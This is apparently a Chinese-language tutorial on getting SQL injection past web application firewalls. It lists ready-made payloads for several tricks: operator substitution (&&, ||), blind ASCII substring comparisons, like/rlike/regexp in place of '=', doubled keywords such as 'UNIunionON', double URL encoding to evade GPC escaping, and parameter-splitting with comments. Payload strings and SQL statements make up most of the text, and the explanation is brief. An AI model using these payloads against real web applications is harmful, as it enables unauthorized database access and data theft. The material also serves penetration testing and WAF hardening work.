一、or and xor not 绕过
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=1、id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。
像 and 这些还有字符代替字符如下:
and 等于&&
or 等于 ||
not 等于 !
xor 等于|
所以可以转换成这样:
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
1、演示
?name=vince' %26%26 1=1--+&submit=1
?name=vince' %26%26 1=2--+&submit=1
2、in、not in
select * from users where id in (2,3);
select * from users where id not in (2,3);
3、运算符号绕过
也可以使用运算符号绕过一些 waf 拦截,继续对注入点进行安全检测。
id=1 && 2=1+1
id=1 && 2=1-1
select * from users where id=1 && 2=1+1;
select * from users where id=1 && 2=1-1;
二、ascii 字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把'r'换成成 ascii 码,如果开启 gpc int,注入就不能用了。
可以看到构造的 SQL 攻击语句没有使用联合查询(union select)也可以把数据查询出来。
三、等号绕过
1、< 或者 >
如果程序会对=进行拦截,可以使用 like rlike regexp 或者使用 < 或者 >
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
select ascii(substring(user(),1,1))<115;
select ascii(substring(user(),1,1))>114;
2、like、rlike
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select substring(user(),1,1) like 'r%';
select substring(user(),1,1) rlike 'r';
3、regexp
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');
select user() regexp '^ro';
select user() regexp '^a';
四、双关键词绕过
有些程序会对单词 union、 select 进行转空,但是只会转一次这样会留下安全隐患。
双关键字绕过(若删除掉第一个匹配的 union 就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3--+
到数据库里执行会变成 id=-1'UNION SeLECT1,2,3--+ 从而绕过注入拦截。
五、二次编码绕过
1、原理分析
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的。
-1 union select 1,2,3,user()--
第一次转码:
%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%75%73%65%72%28%29%2d%2d%20
第二次转码:
%25%32%64%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%64%25%32%64%25%32%30
2、源码分析
在源代码中已经开启了 gpc 对特殊字符进行转义。
%25%32%64%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%64%25%32%64%25%32%30
两次编码 waf 是不会拦截的。
但是,中间件/apache/iis都会自动转换成字符。
%2d%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%75%73%65%72%28%29%2d%2d%20
第二次是程序帮我们自动 urldecode 解码。
3、演示
代码里有 urldecode 这个函数是对字符 url 解码,因为两次编码 GPC 是不会过滤的,所以可以绕过 gpc 字符转义 和 waf 的拦截。
六、多参数拆分绕过
1、原理分析
多余多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数:
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截。
2、源码分析
3、演示
使用参数拆分请求绕过 waf 拦截
-1' union/*&username=*/select 1,user(),3,4--+